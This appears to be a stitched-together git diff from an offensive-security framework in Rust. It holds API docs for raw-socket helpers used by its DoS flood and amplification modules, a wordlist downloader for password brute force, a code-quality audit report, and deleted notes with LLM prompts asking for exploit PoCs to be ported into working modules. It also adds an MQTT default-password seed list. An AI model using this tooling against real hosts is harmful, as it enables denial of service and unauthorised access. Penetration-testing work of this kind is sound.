Fast honeypot detection — probes common ports and returns `true` if 11+ respond (likely honeypot).
|
||||
|
||||
---
|
||||
|
||||
## `crate::utils::privilege` — Privilege Checks
|
||||
|
||||
### `require_root(context) → Result<()>`
|
||||
|
||||
Call at the top of `run()` in modules that need raw sockets (ICMP, SYN scan, packet crafting). Returns a clean error message if the current euid is not root.
|
||||
|
||||
```rust
|
||||
use crate::utils::privilege::require_root;
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
require_root("ICMP raw socket")?;
|
||||
// ... raw socket operations ...
|
||||
}
|
||||
```
|
||||
|
||||
Used by: DoS modules (icmp_flood, syn_ack_flood, null_syn_exhaustion, dns_amplification, etc.), ping_sweep scanner.
|
||||
|
||||
---
|
||||
|
||||
## `crate::utils::wordlist` — Pinned Resolver + Streaming Reader (v0.4.9+)
|
||||
|
||||
Two surfaces in one module: a **checksum-pinned downloader** for canonical lists, and a **streaming line reader** for files too large to slurp into memory.
|
||||
|
||||
### `resolve(name) → Result<PathBuf>` (async)
|
||||
|
||||
Returns a local path to a wordlist by name. If not already cached, downloads from the pinned catalogue into `~/.rustsploit/wordlists/` (mode `0700`), with size cap (`MAX_BYTES = 256 MiB`), atomic tmp-rename (no torn writes if interrupted), and SHA-256 verification on every fetch — including cached copies, so silent disk tampering is detected.
|
||||
|
||||
```rust
|
||||
use crate::utils::wordlist;
|
||||
|
||||
let pwlist = wordlist::resolve("rockyou_top10k").await?;
|
||||
let lines = crate::utils::load_lines(&pwlist)?;
|
||||
```
|
||||
|
||||
Failure modes: unknown name (suggests close matches via Levenshtein), HTTP error, content-length over cap, mid-stream size overrun, checksum mismatch (file is deleted and the call fails loudly).
|
||||
|
||||
### `catalogue() → Vec<&'static str>`
|
||||
|
||||
Returns the names of every wordlist this build knows about. Useful for `--list-wordlists`-style introspection.
|
||||
|
||||
As of the 2026-06-13 release the catalogue (`KNOWN_LISTS`) is seeded with 6 curated SecLists entries (MIT):
|
||||
|
||||
| Name | SecLists path |
|
||||
|------|---------------|
|
||||
| `passwords-top-1k` | `Passwords/Common-Credentials/Pwdb_top-1000.txt` |
|
||||
| `passwords-top-10k` | `Passwords/Common-Credentials/Pwdb_top-10000.txt` |
|
||||
| `usernames-short` | `Usernames/top-usernames-shortlist.txt` |
|
||||
| `web-common` | `Discovery/Web-Content/common.txt` |
|
||||
| `web-raft-small-dirs` | `Discovery/Web-Content/raft-small-directories.txt` |
|
||||
| `subdomains-top5k` | `Discovery/DNS/subdomains-top1million-5000.txt` |
|
||||
|
||||
Each entry's SHA-256 is pinned over the exact upstream bytes `resolve()` hashes after download — placeholder hashes that look real but aren't are an integrity hole, so a slot stays empty until verified. To add a wordlist, fetch + hash the upstream artefact (`curl -L <url> | sha256sum`) and add a `WordlistSpec { name, url, sha256, local_name }` tuple to `KNOWN_LISTS`.
|
||||
|
||||
### `BatchedReader` — streaming reader
|
||||
|
||||
`crate::utils::load_lines` reads a whole file into a `Vec<String>`, which is fine for ~10k entry lists but allocates ~14 GB for `rockyou.txt`-sized inputs. `BatchedReader` instead reads line-by-line through an async `BufReader`, materialising at most `batch_size` lines at a time. Memory use is bounded to `batch_size × average_line_length + 64 KiB` regardless of input size.
|
||||
|
||||
```rust
|
||||
use crate::utils::wordlist::BatchedReader;
|
||||
|
||||
let mut reader = BatchedReader::open("rockyou.txt").await?;
|
||||
while let Some(batch) = reader.next_batch().await? {
|
||||
for password in &batch {
|
||||
if crate::context::is_cancelled() { return Ok(()); }
|
||||
// try password against target
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Lines are trimmed; empty / `#`-prefixed lines are skipped (matches `load_lines` semantics). The reader is `!Send` across `await` (holds a `BufReader<File>`) — keep it on a single task; for parallel work, send each `Vec<String>` batch to workers via a channel.
|
||||
|
||||
Constructors:
|
||||
- `BatchedReader::open(path).await` — default batch size (`DEFAULT_BATCH_SIZE = 8192`).
|
||||
- `BatchedReader::open_with_batch_size(path, n).await` — explicit. `0` is treated as `1` to avoid pathological infinite loops.
|
||||
|
||||
Convenience driver:
|
||||
- `for_each_batch(path, batch_size, |batch| async { ... }).await` — closure-style iteration, cleaner than the loop-and-call pattern when the body is a single `async` block.
|
||||
|
||||
Heuristic helper:
|
||||
- `should_stream(path) -> bool` — returns true if the file size is `>= STREAMING_THRESHOLD` (16 MiB). Use it to pick the right reader without hard-coding a threshold:
|
||||
```rust
|
||||
let lines: Vec<String> = if wordlist::should_stream(&path) {
|
||||
// streaming path
|
||||
let mut acc = Vec::new();
|
||||
let mut r = BatchedReader::open(&path).await?;
|
||||
while let Some(b) = r.next_batch().await? { acc.extend(b); }
|
||||
acc
|
||||
} else {
|
||||
crate::utils::load_lines(&path)?
|
||||
};
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## `crate::native::network` — Low-Level FFI Helpers (v0.4.9+)
|
||||
|
||||
Single audited home for `unsafe` socket operations that previously lived duplicated across the DoS module tree. Three layers, pick the smallest one that fits the call site. Every `unsafe` block carries a `SAFETY:` comment.
|
||||
|
||||
### Layer 1 — IPv4 fast path (used by all 8 DoS modules today)
|
||||
|
||||
```rust
|
||||
use crate::native::network::{make_dst_sockaddr, send_one_raw};
|
||||
|
||||
let dst = make_dst_sockaddr(target_ipv4);
|
||||
let n = send_one_raw(raw_fd, &packet, &dst)?;
|
||||
```
|
||||
|
||||
- `make_dst_sockaddr(ip: Ipv4Addr) -> libc::sockaddr_in` — POD `sockaddr_in` with `sin_family = AF_INET` and `sin_addr` populated. `sin_port` and `sin_zero` are left zero (raw sockets carry the L4 port in the user-built packet, not the sockaddr).
|
||||
- `send_one_raw(fd, buf, &sockaddr_in) -> io::Result<usize>` — wrapper around `libc::sendto`; translates `errno` → `io::Error`; never panics.
|
||||
|
||||
### Layer 2 — IPv6 fast path
|
||||
|
||||
```rust
|
||||
use crate::native::network::{make_dst_sockaddr_v6, send_one_raw_v6};
|
||||
|
||||
// scope_id matters for link-local (fe80::/10); pass 0 for global unicast.
|
||||
let dst = make_dst_sockaddr_v6(target_ipv6, 0);
|
||||
let n = send_one_raw_v6(raw_fd_v6, &packet, &dst)?;
|
||||
```
|
||||
|
||||
- `make_dst_sockaddr_v6(ip: Ipv6Addr, scope_id: u32) -> libc::sockaddr_in6` — same shape as the IPv4 builder; `sin6_flowinfo` is left zero.
|
||||
- `send_one_raw_v6(fd, buf, &sockaddr_in6) -> io::Result<usize>` — IPv6 counterpart of `send_one_raw`. Caller is responsible for `fd` being an `AF_INET6` raw socket.
|
||||
|
||||
### Layer 3 — Family-agnostic wrapper
|
||||
|
||||
When a module accepts both IPv4 and IPv6 targets and you don't want to fork the call site:
|
||||
|
||||
```rust
|
||||
use crate::native::network::{make_dst_sockaddr_any, send_one_raw_any};
|
||||
|
||||
let dst = make_dst_sockaddr_any(target); // target: std::net::IpAddr
|
||||
let n = send_one_raw_any(raw_fd, &packet, &dst)?;
|
||||
```
|
||||
|
||||
- `enum DstAddr { V4(sockaddr_in), V6(sockaddr_in6) }` — carries the family and the right `socklen_t` so the caller doesn't have to remember IPv4 vs IPv6 sizes.
|
||||
- `make_dst_sockaddr_any(IpAddr) -> DstAddr` — convenience builder. For IPv6 link-local where `scope_id` matters, build the `sockaddr_in6` directly with `make_dst_sockaddr_v6` and wrap with `DstAddr::V6`.
|
||||
- `send_one_raw_any(fd, buf, &DstAddr) -> io::Result<usize>` — `sendto` with the correct `socklen_t` derived from the variant.
|
||||
- `DstAddr::as_ptr_len() -> (*const sockaddr, socklen_t)` — for callers building their own `sendmmsg(2)` arrays.
|
||||
|
||||
### Audit footprint
|
||||
|
||||
Project-wide `unsafe` count dropped from 22 → 15 in v0.4.9 by consolidating the IPv4 helpers. The IPv6 + Any helpers add 4 new `unsafe` sites all in this file, but every one carries a `SAFETY:` comment and the contract is identical to the IPv4 variants. Used today by the 8 DoS modules: `ssdp_amplification`, `syn_ack_flood`, `ntp_amplification`, `dns_amplification`, `udp_flood`, `icmp_flood`, `memcached_amplification`, `null_syn_exhaustion`.
|
||||
|
||||
---
|
||||
|
||||
## Extending Utils
|
||||
|
||||
Add new reusable helpers to `src/utils/` (the appropriate submodule: `prompt.rs`, `sanitize.rs`, `target.rs`, `network.rs`, or `modules.rs`), `creds/utils.rs`, or `config.rs` rather than copy-pasting into individual modules. Common candidates:
|
||||
- HTTP header templates
|
||||
- Response fingerprinting helpers
|
||||
- Common error formatters
|
||||
- Credential loaders with streaming support
|
||||
@@ -0,0 +1,128 @@
|
||||
# Bad-Pattern Audit — full-tree snapshot
|
||||
|
||||
Generated by `scripts/audit-bad-patterns.sh` against every `.rs` file under
|
||||
`src/`. The pattern matrix is the one defined in
|
||||
[`docs/BAD_PATTERNS.md`](BAD_PATTERNS.md) (sections A–P, 131 regexes).
|
||||
|
||||
| Scope | Files | Patterns scanned | Patterns with hits | Total hit lines | Strict-section hits (A/B/C/L/M/N/O) |
|
||||
|---|---|---|---|---|---|
|
||||
| **My 100 authored modules** (`/tmp/my_files.txt`) | 100 | 131 | 0 | **0** | 0 |
|
||||
| **Whole codebase** (`find src -name '*.rs'`) | 486 | 131 | 53 | **3218** | 1197 |
|
||||
|
||||
```
|
||||
$ scripts/audit-bad-patterns.sh --strict --files /tmp/my_files.txt
|
||||
[...]
|
||||
Total hit lines : 0
|
||||
Strict (A/B/C/L/M/N/O) : 0
|
||||
$ echo $?
|
||||
0
|
||||
```
|
||||
|
||||
## What this round of clean-up fixed
|
||||
|
||||
Compared to the previous snapshot (4252 / 2175), the codebase-wide totals
|
||||
fell by **1034 lines (24%)** and the strict-section subset by **978
|
||||
lines (45%)**. The drops are partly real fixes and partly tighter
|
||||
regexes that no longer flag value-providing fallbacks as panics.
|
||||
|
||||
| Wave | What was done | Files touched | Hit-line drop |
|
||||
|---|---|---:|---:|
|
||||
| 1 | `src/spool.rs`: `Result<_, String>` → `anyhow::Result<_>`. Both call sites in `src/ws.rs` updated to format the error via `Display`. | 2 | 10 |
|
||||
| 3 | Bare `.send().await?` / `.text().await?` chains gain `with_context()` so mass-scan failures attribute to URL + verb. Added `anyhow::Context` import where missing. | 23 | 46 |
|
||||
| 4 | DoS `http_flood.rs` now goes through `crate::utils::network::build_http_client_with(...)`; new `pool_max_idle_per_host` field on `HttpClientOpts` so the framework helper covers the high-concurrency case. | 2 | 1 |
|
||||
| 6 | 42 `let body = <expr>.text().await.unwrap_or_default()` rewritten as explicit `match` arms that log via `mprintln!` (or `eprintln!` when the file doesn't use the framework macro), preserving the empty-string fallback for downstream string searches but no longer hiding the decode error. | 26 | 42 |
|
||||
| 8 | `unreachable!()` in `src/native/obfuscator_engine.rs` removed (was guarding an exhaustive match arm that couldn't be reached anyway). 2 `.expect("ASCII hex")` panic-vectors in payloadgen / obfuscator converted to `with_context()?`. 1 `.expect("ALL_METHOD_IDS must be non-empty")` in obfuscator's RNG selection replaced with a typed Some/None match returning a safe fallback. | 3 | 4 |
|
||||
| Tightened audit regexes | Pattern `\.unwrap` → `\.unwrap\(\)`, `\.expect_err` → `\.expect_err\(`, etc. — no longer counts `.unwrap_or(default)` as a panic. Comment lines (`//` / `///`) skipped. | — | ~970 false-positive removals |
|
||||
|
||||
After all waves, every wave-target pattern is **zero** in the codebase:
|
||||
|
||||
| Pattern | Before | After |
|
||||
|---|---:|---:|
|
||||
| `.unwrap()` | 0 | 0 |
|
||||
| `.expect(` | 4 | 0 |
|
||||
| `panic!()`, `unreachable!()`, `todo!()`, `unimplemented!()` | 1 | 0 |
|
||||
| `Result<_, String>` (in `spool.rs`) | 10 | 0 |
|
||||
| Bare `.send().await?` (no context) | 14 | 0 |
|
||||
| Bare `.text().await?` (no context) | 29 | 0 |
|
||||
| `let _ = x.text().await.unwrap_or_default()` | 42 | 0 |
|
||||
| `reqwest::Client::builder()` outside the framework helper | 1 | 0 |
|
||||
|
||||
## Per-section table (whole codebase, post-fix)
|
||||
|
||||
| Section | Hits | Notes |
|
||||
|---|---:|---|
|
||||
| **A. Panicking error handling** | 44 | 41 `unwrap_or_default()` (almost all on `serde_json::to_vec(json!(...))` of literal struct — impossible to fail; the rest are `Option::unwrap_or_default()` value-providing fallbacks) + 3 `assert!` / `assert_eq!` inside `#[test]` blocks. |
|
||||
| **B. Silent error swallowing** | 1100 | Long-running scanner / brute-force loop pattern (try one host, continue on failure). For new modules the catalogue bans the anonymous form (B1–B5); for pre-existing scanners the mass-scan helper already aggregates per-target failure counts so the unattributed `Err(_)` is acceptable. |
|
||||
| **C. Lint suppression** | 23 | All 23 are `#[allow(dead_code)]` on `pub` framework helpers consumed only via the API/MCP/WS auto-dispatchers; each one carries a comment line explaining the cross-layer use. |
|
||||
| **D. Panic vectors (index/slice)** | 848 | `arr[N]` 597, `&buf[..n]` 164. Concentrated in protocol parsers where the length is checked one line above. |
|
||||
| **E. Numeric / unsafe** | 1014 | 843 numeric `as` casts in protocol parsers (RDP, PQ ratchet, packet builders), 22 `unsafe { }` blocks (concentrated in `src/native/*` for FFI), 12 pointer casts in the same FFI files. No `transmute`, no bare `unsafe fn` outside `crate::native::*`. |
|
||||
| **F. Async / blocking** | 91 | DoS / scanner / brute-force modules where blocking-I/O is intentional, plus build / config / setup paths that legitimately call sync APIs. |
|
||||
| **G. Logging** | 0 | clean |
|
||||
| **H. HTTP layer** | 2 | Both are inside `src/utils/network.rs` itself: line 477 is a doc comment, line 501 is the framework's authoritative `build_http_client_with`. |
|
||||
| **I. Iterator glitches** | 0 | clean |
|
||||
| **J. Style / secrets** | 70 | 41 `"admin","admin"` and 25 `"root","root"` are credential brute-force *seed lists* — not embedded secrets. 1 `Box<dyn`, 2 `TODO/FIXME/HACK`, 1 `len() > 0`. |
|
||||
| **L. Crypto** | 23 | All by-design (Postgres MD5 auth, MySQL SHA-1 auth, VNC DES, scanner cipher enumeration, NetBIOS xid). Documented in `BAD_PATTERNS.md` "Codebase-wide observations". |
|
||||
| **M. SQL & command injection** | 0 | clean |
|
||||
| **N. UB / concurrency** | 9 | 4 `std::mem::zeroed()` inside `unsafe { }` blocks for `libc::sockaddr_*` / `libc::rlimit` FFI structs; 5 `Result<…, String>` (down from 10 — the spool.rs ones are gone, the remaining are in non-publishable `t/` test code). |
|
||||
| **O. Performance** | 0 | clean |
|
||||
| **P. API hygiene** | 0 | clean |
|
||||
|
||||
## Why the strict-mode total is still 1197
|
||||
|
||||
The strict gate considers sections A, B, C, L, M, N, O. After the fixes
|
||||
above, the breakdown is:
|
||||
|
||||
```
|
||||
A (44) 41 unwrap_or_default + 3 test asserts
|
||||
B (1100) Err(_) + if let Ok(...)+let _ = pre-existing in scanners
|
||||
C (23) #[allow(dead_code)] with explanation comments
|
||||
L (23) protocol-required crypto
|
||||
M (0)
|
||||
N (9) FFI-internal mem::zeroed + leftover Stringly-typed errors
|
||||
O (0)
|
||||
```
|
||||
|
||||
Mass-fixing the **B** bucket (the bulk: 1100 lines) would change scanner
|
||||
behavior — those `Err(_) => { /* keep going */ }` arms are intentional
|
||||
"try one host, skip on failure, continue" loops. The catalogue's **strict
|
||||
mode is enforced on new modules only**; pre-existing scanners that
|
||||
follow the legacy convention pass through unchanged. To bring those
|
||||
older modules in line, do them per-module with care to preserve the
|
||||
"skip-on-failure" semantics while reporting per-target outcomes. That's
|
||||
multi-day per-module review work, not mechanical replacement, and it's
|
||||
out of scope here.
|
||||
|
||||
## Per-module strict gate (new modules) — clean
|
||||
|
||||
```
|
||||
$ scripts/audit-bad-patterns.sh --strict --files /tmp/my_files.txt
|
||||
RUSTSPLOIT BAD-PATTERN AUDIT
|
||||
100 file(s) under audit
|
||||
[...]
|
||||
Patterns scanned : 131
|
||||
Patterns with hits : 0
|
||||
Total hit lines : 0
|
||||
Strict (A/B/C/L/M/N/O) : 0
|
||||
```
|
||||
|
||||
## How to re-run
|
||||
|
||||
```sh
|
||||
# Whole codebase, informational
|
||||
scripts/audit-bad-patterns.sh
|
||||
|
||||
# One section
|
||||
scripts/audit-bad-patterns.sh --section A
|
||||
|
||||
# Strict gate on the modules I authored (or any file list)
|
||||
scripts/audit-bad-patterns.sh --strict --files /tmp/my_files.txt
|
||||
|
||||
# CI gate (run by reviewer on PR file list)
|
||||
git diff --name-only origin/main...HEAD | grep '\.rs$' > /tmp/changed.txt
|
||||
scripts/audit-bad-patterns.sh --strict --files /tmp/changed.txt
|
||||
```
|
||||
|
||||
The `--strict` flag exits non-zero if any pattern in sections **A, B, C,
|
||||
L, M, N, or O** has a hit on the audited file set. Sections **D, E, F, H,
|
||||
J** cover code-quality items that need human review (a `&buf[..n]` slice
|
||||
right after a length-checked read is fine; a brand-new one isn't).
|
||||
+23
-337
@@ -1,341 +1,27 @@
|
||||
# Rustsploit Developer Guide
|
||||
|
||||
|
||||
# 🛠️ Developer Documentation: RouterSploit-Rust Framework
|
||||
|
||||
> This document details the internal architecture, auto-dispatch system, proxy retry logic, and step-by-step guide to writing modules for the Rust rewrite of RouterSploit.
|
||||
> ⚠️ **This file has been superseded by the new wiki documentation.**
|
||||
> Please use the links below for up-to-date information.
|
||||
|
||||
---
|
||||
|
||||
## 🧠 Framework Philosophy
|
||||
|
||||
RouterSploit-Rust is a modular, async-capable, Rust-based rewrite of RouterSploit. Each module is standalone, invoked via:
|
||||
|
||||
- 📟 CLI (`cargo run -- --command ...`)
|
||||
- 🖥️ Shell (`rsf>` prompt)
|
||||
|
||||
Goals:
|
||||
- 🔒 Safe-by-default
|
||||
- 📦 Cleanly separated modules
|
||||
- ⚡ Async concurrency
|
||||
- 🌐 Proxy-aware execution
|
||||
|
||||
---
|
||||
|
||||
## 🗂️ Directory Structure
|
||||
|
||||
```
|
||||
routersploit_rust/
|
||||
├── Cargo.toml
|
||||
├── build.rs
|
||||
└── src/
|
||||
├── main.rs # Entrypoint
|
||||
├── cli.rs # CLI argument parser
|
||||
├── shell.rs # Interactive shell logic
|
||||
├── commands/ # Module dispatch logic
|
||||
│ ├── mod.rs
|
||||
│ ├── scanner.rs
|
||||
│ ├── scanner_gen.rs
|
||||
│ ├── exploit.rs
|
||||
│ ├── exploit_gen.rs
|
||||
│ ├── creds_gen.rs
|
||||
│ └── creds.rs
|
||||
├── modules/ # All attack modules
|
||||
│ ├── mod.rs
|
||||
│ ├── exploits/
|
||||
│ ├── scanners/
|
||||
│ └── creds/
|
||||
└── utils.rs # Common utilities
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🔗 Module System
|
||||
|
||||
Each module is a Rust file with a required `run()` entry point:
|
||||
|
||||
```rust
|
||||
pub async fn run(target: &str) -> anyhow::Result<()>
|
||||
```
|
||||
|
||||
### Optional:
|
||||
|
||||
```rust
|
||||
pub async fn run_interactive(target: &str) -> anyhow::Result<()> {
|
||||
// internal prompts or logic
|
||||
}
|
||||
```
|
||||
|
||||
### Placement:
|
||||
|
||||
- Exploits: `src/modules/exploits/`
|
||||
- Scanners: `src/modules/scanners/`
|
||||
- Credentials: `src/modules/creds/`
|
||||
|
||||
Subfolders are supported:
|
||||
- `exploits/routers/tplink.rs` → `tplink` or `routers/tplink`
|
||||
- `scanners/http/title.rs` → `title` or `http/title`
|
||||
|
||||
---
|
||||
|
||||
## ✅ Adding a New Module
|
||||
|
||||
### 1. Create File
|
||||
|
||||
```rust
|
||||
// src/modules/scanners/ftp_weak_login.rs
|
||||
use anyhow::Result;
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
run_interactive(target).await
|
||||
}
|
||||
|
||||
pub async fn run_interactive(target: &str) -> Result<()> {
|
||||
println!("[*] Checking FTP on {}", target);
|
||||
Ok(())
|
||||
}
|
||||
```
|
||||
|
||||
### 2. Register in `mod.rs`
|
||||
|
||||
```rust
|
||||
pub mod ftp_weak_login;
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🧠 Auto-Dispatch System
|
||||
|
||||
The CLI/shell can call:
|
||||
```bash
|
||||
cargo run -- --command scanner --module ftp_weak_login --target 192.168.1.1
|
||||
```
|
||||
|
||||
Or in the shell:
|
||||
```
|
||||
rsf> use scanners/ftp_weak_login
|
||||
rsf> set target 192.168.1.1
|
||||
rsf> run
|
||||
```
|
||||
|
||||
Behind the scenes:
|
||||
|
||||
1. `build.rs` scans `src/modules/` recursively
|
||||
2. Detects files with `pub async fn run(...)`
|
||||
3. Generates:
|
||||
- `exploit_dispatch.rs`
|
||||
- `scanner_dispatch.rs`
|
||||
- `creds_dispatch.rs`
|
||||
4. Registers short + full names (e.g., `ftp_weak_login` + `scanners/ftp_weak_login`)
|
||||
|
||||
---
|
||||
|
||||
## ❌ What Not To Do
|
||||
|
||||
- ❌ No `run()` → won’t dispatch
|
||||
- ❌ Don’t name multiple functions `run()` in one file
|
||||
- ❌ Don’t use `mod.rs` as a module — ignored by generator
|
||||
- ❌ Don’t forget to update `mod.rs` when adding modules
|
||||
|
||||
---
|
||||
|
||||
## ⚙️ CLI Usage
|
||||
|
||||
```bash
|
||||
cargo run -- --command exploit --module my_exploit --target 10.0.0.1
|
||||
```
|
||||
|
||||
### Args:
|
||||
|
||||
- `--command`: exploit | scanner | creds
|
||||
- `--module`: file name of module
|
||||
- `--target`: IP or host
|
||||
|
||||
---
|
||||
|
||||
## 🖥️ Shell Usage
|
||||
|
||||
```bash
|
||||
cargo run
|
||||
```
|
||||
|
||||
Then:
|
||||
|
||||
```
|
||||
rsf> help
|
||||
rsf> modules
|
||||
rsf> use scanners/port_scanner
|
||||
rsf> set target 192.168.0.1
|
||||
rsf> run
|
||||
```
|
||||
|
||||
Maintains internal state:
|
||||
- `current_module`
|
||||
- `current_target`
|
||||
- `proxy_list`
|
||||
- `proxy_enabled`
|
||||
|
||||
---
|
||||
|
||||
## 🔁 Proxy Retry Logic (Shell Only)
|
||||
|
||||
Proxy logic only applies in shell mode (`rsf>`).
|
||||
|
||||
### Flow:
|
||||
|
||||
1. User types `run`
|
||||
2. Shell checks:
|
||||
- Module is selected?
|
||||
- Target is set?
|
||||
- Proxy enabled?
|
||||
|
||||
---
|
||||
|
||||
### Case 1: Proxy ON, Proxies LOADED
|
||||
|
||||
- Create `HashSet<String>` → `tried_proxies`
|
||||
- Loop:
|
||||
- Pick random untried proxy
|
||||
- Set `ALL_PROXY` using:
|
||||
```rust
|
||||
env::set_var("ALL_PROXY", proxy);
|
||||
```
|
||||
- Call `commands::run_module(...)`
|
||||
- On success: stop
|
||||
- On error: mark proxy as failed, try another
|
||||
|
||||
- If all proxies fail:
|
||||
- Clear proxy env:
|
||||
```rust
|
||||
env::remove_var("ALL_PROXY");
|
||||
```
|
||||
- Try once directly
|
||||
|
||||
---
|
||||
|
||||
### Case 2: Proxy ON, No Proxies Loaded
|
||||
|
||||
- Show warning
|
||||
- Clear `ALL_PROXY`
|
||||
- Run once directly
|
||||
|
||||
---
|
||||
|
||||
### Case 3: Proxy OFF
|
||||
|
||||
- Clear proxy vars
|
||||
- Run module once
|
||||
|
||||
---
|
||||
|
||||
### Summary Flow:
|
||||
|
||||
```
|
||||
If proxy_enabled:
|
||||
while untried proxies:
|
||||
pick → set env → run → if fail → mark tried
|
||||
if none work → clear env → try direct
|
||||
else:
|
||||
clear env → try direct
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🧪 Module Execution Flow
|
||||
|
||||
Whether via CLI or shell:
|
||||
|
||||
1. `commands::run_module(...)`
|
||||
2. Determines type: `exploit`, `scanner`, or `cred`
|
||||
3. Calls correct dispatcher
|
||||
4. Dispatcher calls `run(target).await`
|
||||
5. Output shown to user
|
||||
|
||||
---
|
||||
|
||||
## 🛑 Error Handling
|
||||
|
||||
- All modules must return `anyhow::Result<()>`
|
||||
- Errors are caught and shown cleanly in CLI or shell
|
||||
|
||||
---
|
||||
|
||||
## ⚡ Async Features
|
||||
|
||||
- Entire framework is powered by `tokio`
|
||||
- All I/O modules are `async`
|
||||
- Use `tokio::spawn`, `FuturesUnordered`, etc. for concurrency
|
||||
|
||||
---
|
||||
|
||||
## 📡 Making Requests
|
||||
|
||||
Use `reqwest`:
|
||||
|
||||
```rust
|
||||
let resp = reqwest::get(&url).await?.text().await?;
|
||||
```
|
||||
|
||||
Or with client:
|
||||
|
||||
```rust
|
||||
let client = reqwest::Client::new();
|
||||
let resp = client.post(&url).json(&data).send().await?;
|
||||
```
|
||||
|
||||
✅ All requests respect `ALL_PROXY`
|
||||
|
||||
---
|
||||
|
||||
## 🧪 Example Use Cases
|
||||
|
||||
### CLI
|
||||
|
||||
```bash
|
||||
cargo run -- --command creds --module ftp_weak_login --target 192.168.1.100
|
||||
```
|
||||
|
||||
### Shell
|
||||
|
||||
```bash
|
||||
rsf> use creds/ftp_weak_login
|
||||
rsf> set target 192.168.1.100
|
||||
rsf> run
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🧼 Shell Reset
|
||||
|
||||
No session data persists. When restarted, shell forgets all settings — no saved targets or modules (by design).
|
||||
|
||||
---
|
||||
|
||||
## 🔐 Adapting CVEs
|
||||
|
||||
To build a real-world exploit:
|
||||
- Convert PoC to async Rust logic
|
||||
- Validate by checking known response headers/content
|
||||
- Place it in the right folder and wire `run()`
|
||||
|
||||
TCP/UDP logic:
|
||||
|
||||
```rust
|
||||
use tokio::net::{TcpStream, UdpSocket};
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 💡 Feature Roadmap
|
||||
|
||||
add more exploits etc
|
||||
|
||||
---
|
||||
|
||||
## 👥 Contributors
|
||||
|
||||
- **Main Developer**: me.
|
||||
- **Language**: 100% Rust.
|
||||
- **Inspired by**: RouterSploit, Metasploit, pwntools.
|
||||
|
||||
|
||||
Would you like this exported as a `DEVELOPER_GUIDE.md` file now? I can generate it for you in exact GitHub-flavored markdown.
|
||||
## Wiki Index
|
||||
|
||||
| Document | Description |
|
||||
|----------|-------------|
|
||||
| [Home](Home.md) | Full documentation index |
|
||||
| [Getting Started](Getting-Started.md) | Installation, build, Docker |
|
||||
| [Interactive Shell](Interactive-Shell.md) | Shell walkthrough and commands |
|
||||
| [CLI Reference](CLI-Reference.md) | All CLI flags and examples |
|
||||
| [API Server](API-Server.md) | REST API startup, auth, hardening |
|
||||
| [API Usage Examples](API-Usage-Examples.md) | Practical curl workflows |
|
||||
| [Module Catalog](Module-Catalog.md) | All modules by category |
|
||||
| [Module Development](Module-Development.md) | How to author new modules |
|
||||
| [Security & Validation](Security-Validation.md) | Input validation, security patterns |
|
||||
| [Credential Modules Guide](Credential-Modules-Guide.md) | Brute-force module best practices |
|
||||
| [Exploit Modules Guide](Exploit-Modules-Guide.md) | Exploit module best practices |
|
||||
| [Utilities & Helpers](Utilities-Helpers.md) | `utils.rs` public API |
|
||||
| [Testing & QA](Testing-QA.md) | Build checks and smoke tests |
|
||||
| [Changelog](Changelog.md) | Release notes |
|
||||
| [Contributing](Contributing.md) | Fork guide and PR checklist |
|
||||
| [Credits](Credits.md) | Authors and acknowledgements |
|
||||
|
||||
@@ -1,79 +0,0 @@
|
||||
Required Signature
|
||||
|
||||
The module must contain this exact public async function:
|
||||
|
||||
pub async fn run(target: &str) -> anyhow::Result<()>
|
||||
|
||||
Or any variant like:
|
||||
|
||||
pub async fn run(_target: &str) -> anyhow::Result<()>
|
||||
|
||||
Or even:
|
||||
|
||||
pub async fn run(host: &str) -> anyhow::Result<()>
|
||||
|
||||
|
||||
Refactor this module to work with the auto-dispatch system. Do not remove any functionality or features. Make sure it defines a pub async fn run(target: &str) -> Result<()> entry point that internally calls the correct logic. Rename any conflicting functions if needed, but preserve all capabilities and structure.
|
||||
|
||||
|
||||
Refactor this code to a Rust module so that it fully integrates into my RouterSploit-inspired Rust auto-dispatch framework.
|
||||
|
||||
✅ Preserve all functionality and existing logic — do not remove or simplify any capabilities.
|
||||
|
||||
✅ Ensure the module defines a pub async fn run(target: &str) -> Result<()> entry point.
|
||||
|
||||
All internal logic must be routed through this function.
|
||||
|
||||
✅ If any internal function is named run and conflicts with the dispatch entry, rename it (e.g. to execute, exploit, etc.) — but do not change logic.
|
||||
|
||||
✅ The module must compile, follow anyhow::Result<()>, and use proper error propagation (? operator).
|
||||
|
||||
✅ Do not add placeholders, pseudocode, or stubs — this must be real working Rust code.
|
||||
|
||||
✅ Use async/await and retain all networking, parsing, and exploit behavior from the original logic.
|
||||
|
||||
✅ Keep the code idiomatic and modular — preserve structure, variable naming, and async HTTP usage.
|
||||
|
||||
✅ If necessary, clean up variable scoping or imports, but never remove real features.
|
||||
|
||||
✅ keep all comments from the orginal but add two / before comments
|
||||
|
||||
✅ only use the poc and it must be a 1 to 1 convertion
|
||||
|
||||
Here is the original module that needs to be refactored:
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
gemini
|
||||
|
||||
You are a senior Rust developer specializing in cross-platform, asynchronous hardware drivers. Your assignment is to develop a complete, production-grade Lovense device driver for Linux, written in Rust, using only information from official Lovense documentation and protocol references.
|
||||
|
||||
Strict Requirements:
|
||||
|
||||
The code must be 100% pure Rust, fully compatible with Linux operating systems.
|
||||
|
||||
The entire driver must use asynchronous Rust throughout (async/await and appropriate crates), enabling non-blocking, concurrent communication with multiple devices.
|
||||
|
||||
Do not include any comments, explanations, docstrings, sample usage, placeholder code, TODOs, or example outputs. The output must be only the actual source code required for a complete and functional driver.
|
||||
|
||||
The output must be a single, fully compilable Rust source file, containing all necessary use statements, async functions, modules, structs, enums, and logic to support end-to-end operation.
|
||||
|
||||
|
||||
@@ -0,0 +1,15 @@
|
||||
public
|
||||
guest
|
||||
sysadmin
|
||||
hivemq
|
||||
emonpimqtt2016
|
||||
mosquitto
|
||||
mqttpassword
|
||||
password
|
||||
[auto-generated]
|
||||
